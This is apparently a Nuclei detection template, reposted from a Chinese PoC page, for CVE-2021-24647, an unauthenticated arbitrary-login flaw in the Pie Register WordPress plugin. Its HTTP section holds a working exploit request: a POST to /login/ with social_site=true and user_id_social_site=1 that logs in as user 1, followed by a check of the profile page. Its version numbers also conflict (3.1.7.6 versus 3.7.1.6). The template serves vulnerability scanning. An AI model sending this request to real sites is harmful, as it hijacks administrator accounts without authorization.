The Registration Forms User profile, Content Restriction, Spam Protection, Payment Gateways, Invitation Codes WordPress plugin before 3.1.7.6 has a flaw in the social login implementation, allowing unauthenticated attacker to login as any user on the site by only knowing their user ID or username
PoC代码[已公开]
id: CVE-2021-24647
info:
name: Pie Register < 3.7.1.6 - Unauthenticated Arbitrary Login
author: DhiyaneshDK
severity: high
description: |
The Registration Forms User profile, Content Restriction, Spam Protection, Payment Gateways, Invitation Codes WordPress plugin before 3.1.7.6 has a flaw in the social login implementation, allowing unauthenticated attacker to login as any user on the site by only knowing their user ID or username
impact: |
An attacker can gain unauthorized access to the WordPress site and potentially compromise sensitive information.
remediation: Fixed in version 3.7.1.6
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2021-24647
- https://github.com/RandomRobbieBF/CVE-2021-24647
- https://wpscan.com/vulnerability/40d347b1-b86e-477d-b4c6-da105935ce37
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.1
cve-id: CVE-2021-24647
cwe-id: CWE-287
epss-score: 0.8037
epss-percentile: 0.99089
cpe: cpe:2.3:a:genetechsolutions:pie_register:*:*:*:*:*:wordpress:*:*
metadata:
verified: "true"
max-request: 3
vendor: genetechsolutions
product: pie_register
framework: wordpress
tags: cve,cve2021,unauth,pie-register,wpscan,wp-plugin,wordpress,wp,genetechsolutions
http:
- raw:
- |
GET /wp-content/plugins/pie-register/readme.txt HTTP/1.1
Host: {{Hostname}}
- |
POST /login/ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{randstr}}&pwd={{randstr}}&social_site=true&user_id_social_site=1&wp-submit=Log+In&testcookie=1
- |
GET /wp-admin/profile.php HTTP/2
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
matchers:
- type: dsl
dsl:
- 'status_code_3 == 200'
- 'contains(body_1, "pieregister")'
- 'contains(body_3, "Username") && contains(body_3, "email-description")'
condition: and
# digest: 4a0a00473045022100bc0b345d1afa3115199d69df453bcbf3fd6806daa4adad08b0641564f878714802207b95fe2cca79d571e5519283fcb4a32a5f9e1671f6adfd50831c210fc5793d46:922c64590222798bb761d5b6d8e72950